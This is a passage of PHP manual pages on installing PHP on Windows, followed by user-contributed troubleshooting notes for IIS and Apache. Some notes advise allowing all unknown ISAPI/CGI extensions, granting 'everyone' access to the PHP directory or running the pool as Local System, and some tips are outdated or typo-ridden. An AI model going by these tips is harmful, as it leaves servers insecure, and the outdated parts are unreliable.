4. If you want to connect to mssql server on IIS platform, you HAVE TO add this in the registry
HKEY_LOCAL_MACHINE\SOFTWARE\M*icrosoft\ MSSQLServer\Client\ConnectTo]DSQUERY=DBNETLIB

  It is amazing that everybody MUST follow these rules above, but I didn't see any of them appeared on php official site nor  top google rankings.

cheers.
christian dot ulbrich at gmx dot de 13-Jan-2007 11:15
I have an IIS 6.0 with PHP 5.2.0 as ISAPI-module. Installation went fine, using one of the numerous guides available, however I couldn't get my PHP to load any extensions!

It took me quite a while, to find the catch, it seems, that PHP 5.2.0 doesn't like the quotation marks " in some of its directory variables.

Thus, changing

extension_dir = "c:\php\ext\"

to

extension_dir = c:\php\ext\

did the trick for me...
john@ellingsworth 12-Nov-2006 05:06
Another cause of the "No input file specified" on systems with multiple hosts is that the doc_root setting in the php.ini file has been set to a specific directory.  When using IIS with multiple hosts in distinct top level directories you should comment the doc_root line out.
jneill at gamedaytv dot com 08-Nov-2006 05:36
Here's how to run dual PHP instances with PHP 5.2 and any previous PHP on Windows 2003:

1. Right-click My Computer, go to Advanced tab, and click on Environment Variables.

Add the two installations and their EXT directories to the Path variable. For example, add:
c:\php;c:\php\ext;c:\TMAS\php;c:\tmas\php\ext;

Then, add the newer PHP version's directory as a variable called PHPRC. For example:
Variable:PHPRC
Value: C:\PHP

Click OK to close the Environment Variables window, and click OK to close System Properties.

2. In registry, under HKEY_LOCAL_MACHINE>SOFTWARE>PHP, add a REG_SZ key called iniFilePath and give it a value
of the directory where the older PHP is installed. For example:
C:\TMAS\PHP

3. In IIS, go to the Web Service Extensions. Add both versions' ISAPI module separately to the extensions
list, and allow both.

4. In IIS, go to each website utilizing the PHP versions. Set an ISAPI filter if needed. On the Home Directory
tab, click Configuration, and add .php, .php3, .phtml, and any other extensions needed (perhaps .html?) to
be filtered through PHP, and specify the ISAPI module version needed for each website.

You can now run two versions of PHP. This is because the order of where to look for the .ini file changed
between previous PHP versions and PHP 5.2, as documented at http://us2.php.net/ini:

---------------------------------------------------
 php.ini is searched in these locations (in order):

    * SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
    * The PHPRC environment variable. Before PHP 5.2.0 this was checked after the registry key mentioned below.
    * HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath (Windows Registry location)
    * Current working directory (for CLI)
    * The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows)
    * Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option
----------------------------------------------------
afitzs at for-finance dot com 08-Nov-2006 11:11
I have found the following procedure to work correctly EVERY time for installing PHP version 5.x.x on Windows 2003 servers. (I have done over 100 of these on Web, Standard & Enterprise)

1. Download the current PHP Zip file to a folder of your choosing.

2. Download the old Installer.exe (I use 5.0.2)

3. Run the installer and accept the defaults in all cases except the IIS server, choose IIS 6.0 or later. The installer will complain that a script map is not registered and ask you if you want to register it. SAY YES!!!

4. Run the installer a *second* time, using the same settings as above. This time instead of the complaint that a script is not registered you should see a black dos box open and then close. This is your clue that the install was successful.

5. Copy your PHP .zip file to c:\php and extract and overwrite all files from the regular installer.

6. Edit c:\windows\php.ini to enable any extensions you may need and to set the extension directory to c:/php/ext

All should be good to go. Test by running an info() from the web server.

I have used this install on over 100 installs of 2003/IIS web servers. Generally they have been virgin installs, but a few have had existing sites on them. Using the above method I am able to install PHP in under 2 min. Of course, these are windows systems thus your mileage may vary.

Note: I just tried to use the new .msi installer without success. Resorted to the above procedure and now have 5.2.0 running on the new server.

Note2: PHP powers that be, please make a copy of the old installer available again somewhere easily found by people. I would be screwed if I had not kept an archive copy of the 5.0 installer.
webmaster at nachelfamily dot com 07-Nov-2006 05:13
I made the mistake of setting a 'wildcard application map' for PHP on a Windows 2003 / IIS 6.0 / PHP ISAPI installation.

This resulted in "No input file specified" errors whenever I tried to load the default page in my site's directories.  I don't know why this broke things, but it did.

If anyone has the same problem, this may be the cause.
yacahuma 05-Oct-2006 12:44
IIS6 AND PHP5 on w2k3
1.download php and unzip to c:\php
   - also create c:\php\sessions
2.add c:\php to you path
   -right click mycomputer,properties,advance,env variables
2.On IIS Manager add web service extension
   -name: php isapi
   -req files: c:\php\php5isapi.dll
3.Now let iis know what to do with .php
  -On iis Manager,right click Web Sites, properties, home directory tab, configuration button, add button
     executable: c:\php\php5isapi.dll
     extension: .php
     limit to: GET,POST,HEAD
4. rename php.ini-recommended to php.ini
  you can copy php.ini to c:windows or modify the registry to look for php.ini in c:\php
   to use the registry create a php.reg file with the following inside. after this just double click. do not put the lines.
-------------------------------------------------
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\php"
-------------------------------------------------

5. modify php.ini with
short_open_tag = On
extension_dir = "c:\php\ext"
cgi.force_redirect = 0

6. the web sites are going to be using the default pool. this runs under network service. go to c:\php and give the network service  read& execute, list folder content,read
  -go to c:\php\sessions and add write and modify access network service
Nestor Custodio 04-May-2006 08:40
If the path to your PHP directory has spaces (e.g. "C:\\Program Files\\PHP") and IIS gives a 500+ error or responds with "The specified module could not be found." when you try to run a PHP script, try changing the ISAPI DLL's path in IIS (in the "Home Directory" tab, under "Configuration...") to the 8.3-equivalent path.

That is, use C:\\PROGRA~1\\PHP\\php5isapi.dll instead of "C:\\Program Files\\PHP\\php5isapi.dll".
Cam McVey 20-Apr-2006 03:48
If you are using Application Pool Isolation and you're trying to get PHP to run as CGI and you're getting 403 errors, try looking at this article (watch the word wrap):
http://www.servertastic.com/articles/2005/11/
unable-to-run-perl-or-php-in-application-pool-isolation/
SmugWimp at smugwimp dot com 20-Apr-2006 02:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk 04-Apr-2006 05:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
niatech 01-Mar-2006 08:36
Thought someone would save some time and headaches by using this post.

Our tech department is migrating to Windows 2003 Server and they have some complex security implementations between our Web Servers and our Application (COM) servers.

If you have this type of scenario and are receiving the "Warning (null)(): Unable to lookup.... Access is denied." error, it is because the "Identity" in the Web Server's application pool does not have sufficient permissions to connect to the Application (COM) Server.

To fix this:

- create a new Application Pool
- right click the new pool and select "properties"
- click on the "Identity" tab
- change the permissions from "Network Service" to a user on the Web Server who has access to call the Application (COM) server.
- right click the application pool
- click "start"
- right click your web site
- click on the "Home Directory" tab
- change the application pool to the new application pool you've just created.
- restart IIS

Hopefully this will save someone some time and headaches.
mach 28-Feb-2006 06:15
I've installed Apache + PHP on a Windows machine of which I'm not an administrator.

I found out it was necessary to change the permissions of the httpd.conf file on C:\Program Files\Apache Group\Apache\conf in order to have everything working. Since I'm also using cygwin this was simply done with: >chmod 755 httpd.conf.
lukasz at szostak dot biz 15-Jan-2006 07:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
    Action application/x-httpd-php "/php4/php.exe"
    # directory where your PHP4 php.ini file is located at
    SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
    # directory where your PHP5 php.ini file is located at
    SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
phil at pelanne dot com 05-Jan-2006 09:22
For those of you trying to install PHP 4 and PHP 5 concurrently on a windows 2003 box, there is just one rule you need to adhere to in order to make it work:

- Don't have either of them in c:\php\.
- Don't have a php.ini in your system32 directory.

Put PHP 4 into a directory called c:\php4\.  Put its php.ini in there, and make sure all the paths reflect the c:\php4 directory.

Likewise, put PHP 5 into a directory called c:\php5\.  Put its php.ini in there, and make sure all the paths reflect the c:\php5 directory.

Add them as allowed script mappings in your iis extensions area, and have fun!
cormierma_at_csdcso.on.ca 21-Dec-2005 01:34
Note to windows server 2003 users

If you install php5 ISAPI on windows server 2003 / IIS and keep getting a 404 when you try to view a php script don`t just activate "all unknown ISAPI extensions" but also activate "All Unknown CGI Extensions".
Cevher Bozkur 13-Oct-2005 06:37
I've installed php 5.0.5 with the ISAPI module, as the isapi dll file (php5isapi.dll) resides in the php root directory, I didn't have trouble in my installation (In php4 this dll file is in sapi directory and it should be moved to php root directory).

I changed some of my settings in php.ini file and restart IIS Web site,but my changes weren't applied.

Then I go to Control Panel>Administrative Tools>Services and restart the IIS Admin Service.

Everything worked like a charm...
william keith 28-Sep-2005 03:51
Dirt Simple Install Guide For PHP5/W2K Servers

For those of us out there who still have 2K servers, this is a great 3 min step by step to get you up and running.

http://www.onlamp.com/pub/a/php/2000/12/14/php_admin.html

Thanks to it's author, Darrell Brogdon!
thedeadraptor2000 at yahoo dot com 30-Aug-2005 08:02
Note regarding PHP4 Installation on IIS5 + Win2K

Tip: Don't install PHP4 on Directories with spaces in between.

I've had problems Installing PHP 4.0.0 on IIS5, Win2k's default web server, spanish version (I live in Colombia). I've had HTTP 500 Errors and I followed all instructions step by step, but nothing seemed to work.

I solved the problem eventually, and I think it had something to do with the fact that I have installed PHP4 manually and placed it in the directory "C:\Archivos de programa\php-4.4.0-Win32" ('Archivos de programa' stands for 'Program Files'), a directory with spaces in between.

When I added the application mappings for "C:\Archivos de programa\php-4.4.0-Win32/sapi/php4isapi.php", An error would ocurr and a message along with it: "Escriba una ruta de acceso valida", as in "Write a valid access rute", as in "I can't find the file".

I thought i had it when I encapsulated it with Doublequotes ("), but that didn't work either.

As a final long shot, I copied the php4isapi.dll to the windows/system32 directory and 'WALA!' It worked.

I'm not sure, but i suspect that it had to do with spaces in between directory names, so avoid those, or copy the isapi module to another directory.

Hope this helps someone!
wappa at hotmail dotandthekangaroo com 04-Aug-2005 08:16
Don't forget if you are getting ACL exceptions to reading the test php page you have created you MUST share the PHP directory or the resources PHP uses to "everyone" but remember use restricted access for security.
jp at iticonsulting dot nl 23-Jul-2005 09:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid 08-Jun-2005 01:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]
donald at netriver dot net 04-May-2005 01:21
On the Windows 2003 & IIS6 platform, you can run different websites on different versions & copies of PHP. This is useful in at least two cases:

  1. You want one website on your box to have register_globals on, but since you're running IIS, you cannot specify that in an .htaccess file. And you definately don't want register_globals on for the rest of the websites.
  2. You want to run different versions of PHP for different websites, or even just different extensions. Say you wanted one site to use 4.0.5 and a different site to use 4.1.11.

Its simple, just:
  1. Move your php.ini file from your c:\windows\ directory directly to your php directory (by default that would be c:\php\)
  2. Make sure you don't have a php.ini file in any other location that would supercede the c:\php\php.ini file. Using phpinfo(); is useful here.
  3. Have your alternate version of php (either a different version or a different php.ini) have its own install directory, like c:\php4RG\ or c:\php405\.
  4. In the Home Directory Configuration for your website, specify the .php extension to use a different script, pointing it at the alternate directory.
doyouunderstand at gmail dot com 03-Mar-2005 04:31
For those having trouble installing PHP 5+ ISAPI for IIS 6 (on Windows 2003 server), who have tried everything on this site and all over the net, with no success (like I did) - try the following before throwing your server out of a 3rd story window.

http://www.benmardesign.com/IIS_PHP_MYSQL_setup/php_setup.html

It was the only thing that worked out of all the many solutions I tried.

Probably some other solutions would've worked as well, but in my frusterated state of mind, this explanation was the clearest.

My problem was that in addition to adding the the Web service extension, I was not adding the ISAPI extensions for the websites in IIS Manager manaully.  ALSO, remember to reboot after the changes on the site listed above.  It's the only thing he forgot to mention, and depending on your setup, you may need to reboot to register the dll moves and changes made.  (IIS restart will not re-register dlls).
Steve N 02-Feb-2005 08:33
Just a note following on from Luis D regarding adding the pgp4ts.dll as a Web Server Extension.

I just used the latest php-4.3.10-installer.exe from php.net and had the problems where .php files could not be found.

In order to get them to work I added and allowed the php.exe as a Web Service Extension and not the php4tx.dll.

Cheers,

Steve
claudio_jvt at hotmail dot com 14-Jan-2005 04:38
One very helpfull note to Win2003 iis6 users:
If you'd like to use isapi in the web service extensions and you're in a development server (or even if your php.ini config file changes frequently), here's what you can do:

Php.ini runtime changes:
Create a new application pool in iis:
iis->select server->application pools->new application pool
                 Use default settings;
      go to the application pool you've created, properties->
    check the "Recycle worker process" option, and give it a small value (10 is nice :) ).

Now go to your site (or virtual directory site)-> properties->
change the application pool to the newly configured appPool.

At this moment, is good to make a iss restart (note this is the only resart needed).

Your site is now semi-runtime changed :)
You can try it with the usal php info() test. Change something in the php.ini and check the number of requests it takes to use the new configuration.

The downside of this approach (wich is still better than to use php-cgi.exe): the process is recycled, so all the configuration in php.ini is read every N requests - with php-cgi.exe, this would happen for every request, so.. is a good solution.

Again, be carefull when using this in a production environment, since the load can increase (not sure how much, but it will certainly increase).

And keep in the new appPool JUST the php sites that require runtime changes in php.ini !

------
You've helped me, so I help you ;)
Tks
chris at move dash media dot com 09-Jan-2005 04:39
Note to windows users, if you are trying to install php5 ISAPI on windows server 2003 / IIS and getting a 404 when you try to view a simple php script, even though everything else seems to be right...  click into "web service extensions" from IIS and either add a new web service extension, or click onto "all unknown ISAPI extensions" and click allow.
ntadmin at aplus dot net 27-Aug-2004 11:53
When configuring application pools with configurable
accounts instead of NETWORK SERVICE or LOCAL SYSTEM
remember to add the user to the correct security contexts found here:

Note: Watch for wordwrap
http://www.microsoft.com/resources/documentation/
WindowsServ/2003/standard/proddocs/en-us/Default.asp?
url=/resources/documentation/WindowsServ/2003/standard/
proddocs/en-us/sec_acc_wpenable.asp

Otherwise you will recieve 403 errors.
Sean Boulter 15-Apr-2004 02:00
This fixes the "The directory name is invalid" error.

In IIS 5.1 on Windows XP Pro, Go into the Internet Information Services, and into the properties of the virtual directory where the problem occurs.  On The 'Virtual Directory' tab, click on the 'Configuration...' button.  Select the '.php' extension, and press 'Edit'.  On the bottom, Check the 'Check that file exists' checkbox.
Luis D 27-Mar-2004 04:49
This is just to clarify on a posting on this page that states the nescesity of allowing all unknown cgi Extensions in Windows 2003 IIS 6. Although this will work and it should be consider as a quick option for an itranet solution with no web access at all.

This poses a very serious security problem and its not the best course of action, in my opinion.  The proper way of making this work will be to actually enable the extension that you want to execute.  After verifying that the .php extension is present, simply go to "Web Service extensions" in the IIS Manager and click on "Add a new web service extension";

Once the "new web service extension" opens:

1- Add the "extension name" field, please enter "PHP" (or what ever you wanna call it) Other more conservative admins will say call it what it is and always input ".php".  Its up to you!
2-Click on the "add" button and browse to the php4ts.dll file on your c:\PHP (default)  and then click open --> OK and set the checkmark under "set extension status to allowed" click OK and thats it!!!

If you missed the checkmark moment cause you are just so impatient, like me, then simply select the extension on the web service extensions windows and click ALLOW.

This is a very simple process and it will work everytime.

I hope this helps, as I have found several things in this forums that are incredibly helpfull!!

PS: For the non programmer, it is a good practice to install mysql and a free php forum like bb2 to test how well your php IIS and mysql is working.
ferchland at computer-kontor dot de 06-Feb-2004 08:51
If need a php4apache.dll compiled with EAPI _and_ you run Apache with mod_ssl, use the Apache from
http://hunter.campbus.com/

This is already a binary for win32, but the *.lib and headers are included.
ungdi at hotmail dot com 21-Jan-2004 01:36
Under a Windows 2003 and IIS 6.x installation of PHP, it is interesting to note that by default in most cases, the "DefaultAppPool" for the "Default Web Site" is running under the security context of "Network Service" which maybe too restrictive. This results in a 403: Forbidden error every time you try to access a PHP page.

You have several options to remedy the problem:
an obvious one is to make it run as the "Local System", but that may be too much power for some administrators' tastes.

The other option is at the IIS Manager,
go to the computer's "Application Pools" folder,
and go to the properties dialog box of the "DefaultAppPool",
and then to the "Identity" tab, and select the "Configurable" identity of "IWAM_[COMPUTER_NAME]" as the security context. This will make the application pool run the way it did in the previous versions.

This solved the repeated problems of the 403 errors. However, do not forget to give permission to "IUSR_[COMPUTER_NAME]" and "IWAM_[COMPUTER_NAME]" appropriate directory permissions for your web directories as stated above.
spf at users dot sf dot net 19-Aug-2002 08:55
To allow acWEB.sf.net win32-webserver and Eserv 2.98 (www.eserv.ru) web-server run PHP 4.2.2 without problems with FORCE_REDIRECT you should set "cgi.force_redirect = Off" in php.ini in windows directory.
adam dot swick at pantellos dot com 14-Mar-2002 09:36
IIS 5: If you change the application mappings for PHP (for example, from CGI to ISAPI module), reboot after the change is made.  The PHP Application Mapping change may cause a conflict if ISAPI applications are cached.
mike at schild dot com 31-Jul-2000 10:44
It's a hard way to get work php on win98/PWS... but with this comment-page I found it out how it works:<br>
- error 403: give read/write rights to the directory. You can do this by clicking the right mouse key on the directory in the explorer.<br>
- html file in a dos box: 1) clean the "doc_root" line in the php.ini file.   2) start personal web-manager / go to 'advanced' / make for your web-default-directory a virtual directory with all possible rights.<br>
On my system it works now!
Compiling PHP on Mac OS X
Windows Installer (PHP 5.1.0 and earlier)
Installation and Configuration


Windows Installer (PHP 5.1.0 and earlier)

The Windows PHP installer is available from the downloads page at » http://www.php.net/downloads.php. This installs the CGI version of PHP and for IIS, PWS, and Xitami, it configures the web server as well. The installer does not include any extra external PHP extensions (php_*.dll) as you'll only find those in the Windows Zip Package and PECL downloads.

Note:

While the Windows installer is an easy way to make PHP work, it is restricted in many aspects as, for example, the automatic setup of extensions is not supported. Use of the installer isn't the preferred method for installing PHP.

First, install your selected HTTP (web) server on your system, and make sure that it works.

Run the executable installer and follow the instructions provided by the installation wizard. Two types of installation are supported - standard, which provides sensible defaults for all the settings it can, and advanced, which asks questions as it goes along.

The installation wizard gathers enough information to set up the php.ini file, and configure certain web servers to use PHP. One of the web servers the PHP installer does not configure for is Apache, so you'll need to configure it manually.

Once the installation has completed, the installer will inform you if you need to restart your system, restart the server, or just start using PHP.

Warning

Be aware, that this setup of PHP is not secure. If you would like to have a secure PHP setup, you'd better go on the manual way, and set every option carefully. This automatically working setup gives you an instantly working PHP installation, but it is not meant to be used on online servers.

User Contributed Notes

There are no user contributed notes for this page.
Installation on Windows systems
Windows Installer (PHP 5.2 and later)
Installation on Windows systems


Windows Installer (PHP 5.2 and later)

The Windows PHP installer for later versions of PHP is built using MSI technology using the Wix Toolkit (» http://wix.sourceforge.net/). It will install and configure PHP and all the built-in and PECL extensions, as well as configure many of the popular web servers such as IIS, Apache, and Xitami.

First, install your selected HTTP (web) server on your system, and make sure that it works. Then proceed with one of the following install types.

Normal Install

Run the MSI installer and follow the instructions provided by the installation wizard. You will be prompted to select the Web Server you wish to configure first, along with any configuration details needed.

You will then be prompted to select which features and extensions you wish to install and enable. By selecting "Will be installed on local hard drive" in the drop-down menu for each item you can trigger whether to install the feature or not. By selecting "Entire feature will be installed on local hard drive", you will be able to install all sub-features of the included feature (for example by selecting this option for the feature "PDO" you will install all PDO Drivers).

Warning

It is not recommended to install all extensions by default, since many of them require dependencies from outside PHP in order to function properly. Instead, use the Installation Repair Mode that can be triggered thru the 'Add/Remove Programs' control panel to enable or disable extensions and features after installation.

The installer then sets up PHP to be used in Windows and the php.ini file, and configures certain web servers to use PHP. The installer will currently configure IIS, Apache, Xitami, and Sambar Server; if you are using a different web server you'll need to configure it manually.

Silent Install

The installer also supports a silent mode, which is helpful for Systems Administrators to deploy PHP easily. To use silent mode:

msiexec.exe /i php-VERSION-win32-install.msi /q

You can control the install directory by passing it as a parameter to the install. For example, to install to e:\php:

msiexec.exe /i php-VERSION-win32-install.msi /q INSTALLDIR=e:\php
You can also use the same syntax to specify the Apache Configuration Directory (APACHEDIR), the Sambar Server directory (SAMBARDIR), and the Xitami Server directory (XITAMIDIR).

You can also specify what features to install. For example, to install the mysqli extension and the CGI executable:

msiexec.exe /i php-VERSION-win32-install.msi /q ADDLOCAL=cgi,ext_php_mysqli

The current list of Features to install is as follows:

MainExecutable - php.exe executable ( no longer available as of PHP 5.2.10/5.3.0; it is now included by default )
ScriptExecutable - php-win.exe executable
ext_php_* - the various extensions ( for example: ext_php_mysql for MySQL )
apache13 - Apache 1.3 module
apache20 - Apache 2.0 module
apache22 - Apache 2.2 module
apacheCGI - Apache CGI executable
iis4ISAPI - IIS ISAPI module
iis4CGI - IIS CGI executable
iis4FastCGI - IIS CGI executable
NSAPI - Sun/iPlanet/Netscape server module
netserve - NetServe Web Server CGI executable
Xitami - Xitami CGI executable
Sambar - Sambar Server ISAPI module
CGI - php-cgi.exe executable
PEAR - PEAR installer
Manual - PHP Manual in CHM Format

For more information on installing MSI installers from the command line, visit » http://msdn.microsoft.com/en-us/library/aa367988.aspx

Upgrading PHP with the Install

To upgrade, run the installer either graphically or from the command line as normal. The installer will read your current install options, remove your old installation, and reinstall PHP with the same options as before. It is recommended that you use this method of keeping PHP updated instead of manually replacing the files in the installation directory.

User Contributed Notes

lwpro2 04-Oct-2010 01:09
run php as CGI binary, and add these to httpd.conf,

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
ScriptAlias /php/ "C:/php/"
Action application/x-httpd-php "C:/php/php-cgi.exe"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtml

<Directory "C:/Apache2.2/cgi-bin">
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</Directory>

<Directory "C:/php">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>

finally it works
klaussh 30-Sep-2010 05:24
for running php5.3 on IIS6 I had to add an Web Service Extension:

IIS6 / Web Service Extensions

Add an WSExtension
ex. PHP -- File to use ...\PHP\php-cgi.exe ( Filetype cgi_exe )

And switch to "allowed"

( In earlier versions of php there was an php5isapi.dll
which could be set as WebService Extention. But this is now
replaced from cgi/fastcgi )
fawaz at webcitynetworks dot com 09-Mar-2010 02:24
Tryed installing PHP several times using the MSI instalation, which defaults to "C:\Prorame Files\PHP", and could not work at all.

The OS: Windows XP, with SP3
Web Server: IIS 5.1

Instalation Steps:

Step 1: Install the MSI Instalation, but make sure you select the instalation folder to be "C:\PHP" and NOT "C:\Programe Files\PHP\".

Step 2: Copy the "php.ini" fil from "C:\PHP", to "C:\Windows\" folder. Keep the default settings, so far OK.

Step 3: Go to IIS, Open "Default Website", Properties, and open the "Home Directory" tab, and then "Configue" buttton.

Step 4: Click 'Add" under Mappings Tab, and browse for "C:\PHP\php-cgi.exe" file from 'Browse', and add ".php" (i.e. without the Qoutes ""). Keep "Verb" settings to "All Verbs" and click "OK"

Step 5: Create a php file with : <?php phpinfo();?>, and test.

It should be working fine by this time.

Hope this was helpful to all.
rod at rodsdot dot com 21-Feb-2010 02:29
On IIS 5.1 (Windows XP) and IIS 6.0 (Windows Server 2003) the following installation method goes very smoothly, but for three additional tasks.

Before installing PHP 5.2.x using the Microsoft Web Platform Installer, make sure:

C:\PHP does not exist
C:\Program Files\PHP does not exist (it will be created)
C:\Windows\php.ini does not exist (you won't need it there)

Run Microsoft Web Platform Installer allowing it to install FastCGI support and PHP 5.2.x.

After installation you should have PHP installed in C:\Program Files\PHP.

An examination of php.ini will show you will not likely need to change any settings, except the sendmail_from address.  The Windows specific settings have been set, but are grouped together under:

; Default timeout for socket based streams (seconds)

Those are:
upload_tmp_dir="C:\WINDOWS\Temp"
session.save_path="C:\WINDOWS\Temp"
error_log="C:\WINDOWS\temp\php-errors.log"
cgi.force_redirect=0
fastcgi.impersonate=1
fastcgi.logging=0

In addition to having the correct minimal IIS settings already set in php.ini, you will find the Path has had C:\Program Files\PHP\ added, and the environment variable PHPRC is set correctly.

The three things not performed by the install but needed to run:

1.
HKEY_LOCAL_MACHINE\Software\PHP\IniFilePath may be wrong.  It should not be C:\Windows, but C:\Program Files\PHP, which is what is set in both the PATH and PHPRC. (This could be a left over setting from a previous install, but the installer does not correct it.)

2.
In IIS manager, under the default web site properties, Home Directory (tab), Configuration (button), Mappings, the entry for .php may be missing or wrong. It should be:
Executable: "C:\Program Files\PHP\php-cgi.exe" with the quotes.
Verbs: Limit To: GET,HEAD,POST,TRACE
Script Engine checkbox checked
Check That File Exists checkbox checked.

3.
The installer will not set the proper security permissions for php-cgi.exe or php.ini, both of which need to be accessible to the default Internet user account: e.g. IUSR_machine name.

In Windows Explorer, navigate to the C:\Program Files\PHP folder, right click, properties, security (tab), add IUSR_machinename and accept the default security permissions.

All of these seemed to take effect without a reboot, but a reboot is suggested.  Note: Items 1 and 2 may be left over from previous installations and might possibly be rightly ignored by the installer, but if they are not corrected (at least check) you are going to have a problem.

Item 3 is not going to be performed by the installer.  You will have to do it based on how you have security permissions set in IIS.
peter at peterjhart dot com 02-Feb-2010 09:21
Apache2 on Windows (PHP 5.3.1):

Install VC6 x86 THREAD SAFE. If you do not see Apache in the list of webservers, it is because you downloaded the NON-THREAD SAFE installer.
manville at doctors dot org dot uk 21-Jul-2009 06:50
I have just spent a tiresome morning trying to get PHP 5.2 / 5.3 installed onto Apache 2.2 (WinXPSP2) (Slight oddity in setup that program files on D: drive)

I have finally got it to work by using the following:

1) Getting installation script to use "Other CGI" (would be nice if it mentioned Apache - I believe it to be a fairly popular option)

2) Adding the following directives to httpd.conf (the Apache configuration file)

ScriptAlias /php/  "D:/Program Files/PHP/"

(This tells Apache to treat the PHP directory as script files/executables and alias it under /php/ for ease of use later)

AddHandler x-httpd-php .php

(This tells apache to recognise all .php files as of type x-httpd-php (equally you could call them anything you liked and after this mornings debacle I can think of one or two choice phrases)

Action x-httpd-php "php/php-cgi.exe"

(The tells Apache to use php-cgi.exe to handle files of type x-httpd-php (or .php files as we declared earlier). php-cgi.exe only exists if you have selected the "Other CGI" option at installation". A lot of stuff around on the web is pointing at php.exe which is now failing. Has this changed recently?)
infoworld at yahoo dot com 12-Feb-2009 01:41
Using the installer, I have been getting the "cannot run script" error on Windows XP and IIS 5.1.  I used both the Zip file and installer filer to make it successful:

1. I downloaded the zip file (not the installer) into C:\php\,
2. extracted the contents to the same directory (C:\php\).
3. Downloaded and ran the installer into the C:\php\

Nagesh A
Anonymous 09-Jan-2009 07:06
I just installed PHP 5.2.8 (MSI package) on windows XP, IIS 5.1.

Selected IIS-ISAPI, always got error "The specified module could not be found." (firefox), HTTP 500 Internal Server Error (ie 7). Even though no extensions were selected.

Trick: Install PHP to C:\PHP (and not to C:\Program Files\PHP)

In your IIS web site properties, tab home directory, configuration, application mappings.
Remove the quotes before and after the executable path and the problem will be solved.
jstein at image dot dk 30-Dec-2008 02:33
I just installed PHP 5.2.8 as an ISAPI-extension for IIS 6 in Windows 2003 server.

I used the Windows installer, but had to make a few changes manually:

- Copy php.ini from the PHP folder (C:\Program Files\PHP) to the Windows folder (C:\Windows).

- Enable the ISAPI extension. (In IIS Manager under "Web Service Extensions" add a new extension with "Required files" set to C:\Program Files\PHP\php5isapi.dll).

- Add index.php to default index pages (select properties for "Web Sites", add it on the "Documents" tab).
Windows Installer (PHP 5.1.0 and earlier)
Manual Installation Steps
Installation on Windows systems


Manual Installation Steps

This section contains instructions for manually installing and configuring PHP on Microsoft Windows. For the instructions on how to use PHP installer to setup and configure PHP and a web server on Windows refer to Windows Installer (PHP 5.2 and later).

Selecting and downloading the PHP distribution package

Download the PHP zip binary distribution from » PHP for Windows: Binaries and Sources. There are several different versions of the zip package - chose the version that is suitable for the web server being used:

  • If PHP is used with IIS then choose PHP 5.3 VC9 Non Thread Safe or PHP 5.2 VC6 Non Thread Safe;

  • If PHP is used with IIS7 or greater and PHP 5.3+, then the VC9 binaries of PHP should be used.

  • If PHP is used with Apache 1 or Apache 2 then choose PHP 5.3 VC6 or PHP 5.2 VC6.

Note:

